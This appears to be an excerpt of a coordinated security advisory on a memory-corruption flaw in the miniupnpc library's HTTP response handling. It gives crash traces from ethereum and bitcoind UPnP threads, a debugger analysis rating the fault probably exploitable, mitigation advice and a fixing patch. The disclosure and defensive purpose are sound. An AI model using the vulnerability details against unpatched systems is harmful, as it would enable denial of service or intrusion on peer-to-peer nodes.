[Switching to Thread 0x7fffd7fff700 (LWP 9309)]
0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6
(gdb)
#0 0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6
#1 0x00007ffff4a8bfce in getHTTPResponse () from /lib64/libminiupnpc.so.16
#2 0x00007ffff4a8c43f in miniwget3.constprop.0 () from /lib64/libminiupnpc.so.16
#3 0x00007ffff4a8c873 in miniwget () from /lib64/libminiupnpc.so.16
#4 0x00007ffff62cb97f in dev::p2p::UPnP::UPnP() () from /lib64/libp2p.so
#5 0x00007ffff633d2d0 in dev::p2p::Network::traverseNAT(std::set<boost::asio::ip::address, std::less<boost::asio::ip::address>, std::allocator<boost::asio::ip::address> > const&, unsigned short, boost::asio::ip::address&) () from /lib64/libp2p.so
#6 0x00007ffff62eed05 in dev::p2p::Host::determinePublic() () from /lib64/libp2p.so
#7 0x00007ffff62ef3b3 in dev::p2p::Host::startedWorking() () from /lib64/libp2p.so
#8 0x00007ffff610e979 in dev::Worker::startWorking()::{lambda()#1}::operator()() const () from /lib64/libdevcore.so
#9 0x00007ffff4831220 in ?? () from /lib64/libstdc++.so.6
#10 0x00007ffff72cddc5 in start_thread () from /lib64/libpthread.so.0
#11 0x00007ffff3f97ced in clone () from /lib64/libc.so.6#> bitcoin-0.13.2\bin\bitcoind.exe -upnp -printtoconsole
Bitcoin version v0.13.2
...
mapBlockIndex.size() = 1
nBestHeight = 0
setKeyPool.size() = 100
mapWallet.size() = 0
mapAddressBook.size() = 1
init message: Loading addresses...
torcontrol thread start
Loaded 0 addresses from peers.dat 1ms
init message: Loading banlist...
init message: Starting network threads...
upnp thread start
init message: Done loading
opencon thread start
addcon thread start
dnsseed thread start
msghand thread start
net thread start
Loading addresses from DNS seeds (could take a while)
132 addresses found from DNS seeds
dnsseed thread exit
receive version message: /Satoshi:0.13.1/: version xxxx, blocks=xxxxx, us=xxxxxx:57964, peer=1
Pre-allocating up to position 0x100000 in rev00000.dat
...
<crash:upnp thread crashing with access violation>
//#! missing symbols - stacktrace not really useful.
(5fdc.5d34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for bitcoind.exe -
bitcoind!secp256k1_ecdsa_recover+0x1ea44f:
00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
0:016> !analyze -v -f
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
bitcoind!secp256k1_ecdsa_recover+1ea44f
00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
EXCEPTION_RECORD: ffffffffffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0000000001615f1f (bitcoind!secp256k1_ecdsa_recover+0x00000000001ea44f)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 0000000008db0000
Attempt to read from address 0000000008db0000
CONTEXT: 0000000000000000 -- (.cxr 0x0;r)
rax=0000000008385900 rbx=00000000083848a0 rcx=0000000094964738
rdx=0000000000000000 rsi=0000000008db0000 rdi=0000000008388472
rip=0000000001615f1f rsp=0000000008dad3e0 rbp=00000000949672aa
r8=0000000008387c80 r9=0000000094967295 r10=0000000000000000
r11=0000000008dacd00 r12=00000000949672b8 r13=00000000949672aa
r14=00000000000005b4 r15=0000000000000556
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
bitcoind!secp256k1_ecdsa_recover+0x1ea44f:
00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
FAULTING_THREAD: 0000000000005d34
PROCESS_NAME: bitcoind.exe
ERROR_CODE: (NTSTATUS) 0xc0000005
EXCEPTION_CODE: (NTSTATUS) 0xc0000005
EXCEPTION_PARAMETER1: 0000000000000000
EXCEPTION_PARAMETER2: 0000000008db0000
READ_ADDRESS: 0000000008db0000
FOLLOWUP_IP:
bitcoind!secp256k1_ecdsa_recover+1ea44f
00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
APPLICATION_VERIFIER_FLAGS: 0
APP: bitcoind.exe
ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) amd64fre
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_PROBABLYEXPLOITABLE
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_PROBABLYEXPLOITABLE
LAST_CONTROL_TRANSFER: from 00000000016160f0 to 0000000001615f1f
STACK_TEXT:
00000000`08dad3e0 00000000`016160f0 : 00000000`00000754 00000000`00000754 00000000`00000000 00000000`0823af72 : bitcoind!secp256k1_ecdsa_recover+0x1ea44f
00000000`08dadcd0 00000000`01616467 : 00000000`00000010 00007ffc`6a207185 00000000`00000000 00000000`00000010 : bitcoind!secp256k1_ecdsa_recover+0x1ea620
00000000`08dae580 00000000`01612e97 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x1ea997
00000000`08dae650 00000000`0124a8fa : 00000000`08239840 00007ffc`a255cfb6 00000000`15040011 00000000`00000001 : bitcoind!secp256k1_ecdsa_recover+0x1e73c7
00000000`08dae740 00000000`0165252a : 00000000`00000000 00000000`08230000 00000000`00000002 00000000`08daf980 : bitcoind+0x7a8fa
00000000`08daf830 00000000`014567c5 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x226a5a
00000000`08daf940 00007ffc`a05cb2ba : 00000000`081abb90 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x2acf5
00000000`08dafb50 00007ffc`a05cb38c : 00007ffc`a0620670 00000000`08237230 00000000`00000000 00000000`00000000 : msvcrt!beginthreadex+0x12a
00000000`08dafb80 00007ffc`a0d28364 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : msvcrt!endthreadex+0xac
00000000`08dafbb0 00007ffc`a25870d1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
00000000`08dafbe0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
STACK_COMMAND: .cxr 0x0 ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: bitcoind!secp256k1_ecdsa_recover+1ea44f
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: bitcoind
IMAGE_NAME: bitcoind.exe
FAILURE_BUCKET_ID: STRING_DEREFERENCE_PROBABLYEXPLOITABLE_c0000005_bitcoind.exe!secp256k1_ecdsa_recover
BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_bitcoind!secp256k1_ecdsa_recover+1ea44f
ANALYSIS_SOURCE: UM
FAILURE_ID_HASH_STRING: um:string_dereference_probablyexploitable_c0000005_bitcoind.exe!secp256k1_ecdsa_recover#> src\bitcoind -upnp -printtoconsole
pwndbg> bt
#0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:36
#1 0x00007ffff6abe91e in getHTTPResponse () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#2 0x00007ffff6abed22 in ?? () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#3 0x00007ffff6abf12d in miniwget_getaddr () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#4 0x00007ffff6ac0f9e in UPNP_GetValidIGD () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#5 0x000055555560ee0b in ThreadMapPort () at net.cpp:1446
#6 0x0000555555622e44 in TraceThread<void (*)()> (name=0x555555a81767 "upnp", func=0x55555560ed3a <ThreadMapPort()>) at util.h:218
#7 0x0000555555689c4e in boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> >::operator()<void (*)(char const*, void (*)()), boost::_bi::list0> (this=0x5555561544c0, f=@0x5555561544b8: 0x555555622dc2 <TraceThread<void (*)()>(char const*, void (*)())>, a=...) at /usr/include/boost/bind/bind.hpp:313
#8 0x000055555568996a in boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > >::operator() (this=0x5555561544b8) at /usr/include/boost/bind/bind_template.hpp:20
#9 0x00005555556896eb in boost::detail::thread_data<boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > > >::run (this=0x555556154300) at /usr/include/boost/thread/detail/thread.hpp:117
#10 0x00007ffff753aaea in ?? () from /usr/lib/x86_64-linux-gnu/libboost_thread.so.1.55.0
#11 0x00007ffff5c3a064 in start_thread (arg=0x7fffd97fa700) at pthread_create.c:309
#12 0x00007ffff596f62d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111- update to miniupnpc-2.0.20170509.tar.gz
- disable upnp
- or apply the following patch (also see provided patch1.diff, patch2.diff)
--- a/miniupnpc/miniwget.c
+++ b/miniupnpc/miniwget.c
@@ -280,11 +280,11 @@ getHTTPResponse(int s, int * size, int * status_code)
goto end_of_stream;
}
}
- bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i);
+ bytestocopy = ((unsigned int)chunksize < (n - i))?chunksize:(unsigned int)(n - i);
if((content_buf_used + bytestocopy) > content_buf_len)
{
char * tmp;
- if(content_length >= (int)(content_buf_used + bytestocopy)) {
+ if((unsigned int)content_length >= (content_buf_used + bytestocopy)) {
content_buf_len = content_length;
} else {
content_buf_len = content_buf_used + bytestocopy;
@@ -309,14 +309,14 @@ getHTTPResponse(int s, int * size, int * status_code)
{
/* not chunked */
if(content_length > 0
- && (int)(content_buf_used + n) > content_length) {
+ && (content_buf_used + n) > (unsigned int)content_length) {
/* skipping additional bytes */
n = content_length - content_buf_used;
}
if(content_buf_used + n > content_buf_len)
{
char * tmp;
- if(content_length >= (int)(content_buf_used + n)) {
+ if((unsigned int)content_length >= (content_buf_used + n)) {
content_buf_len = content_length;
} else {
content_buf_len = content_buf_used + n;
@@ -336,7 +336,7 @@ getHTTPResponse(int s, int * size, int * status_code)
}
}
/* use the Content-Length header value if available */
- if(content_length > 0 && (int)content_buf_used >= content_length)
+ if(content_length > 0 && content_buf_used >= (unsigned int)content_length)
{
#ifdef DEBUG
printf("End of HTTP content\n");- Vendor acknowledgement / Miniupnp Changelog [5]
- Thanks to the miniupnp project for providing a fixed version within ~1 week!
- This research/disclosure was coordinated in cooperation with the ethereum foundation at ethereum.org. Thanks, it was a pleasure working with you!
[1] http://miniupnp.free.fr/
[2] http://miniupnp.free.fr/files/
[3] https://github.com/miniupnp/miniupnp/tree/master
[4] https://github.com/miniupnp/miniupnp/blob/master/miniupnpc/miniwget.c#L236
[5] http://miniupnp.free.fr/files/changelog.php?file=miniupnpc-2.0.20170509.tar.gz
[6] https://github.com/miniupnp/miniupnp/commit/f0f1f4b22d6a98536377a1bb07e7c20e4703d229
https://github.com/tintinweb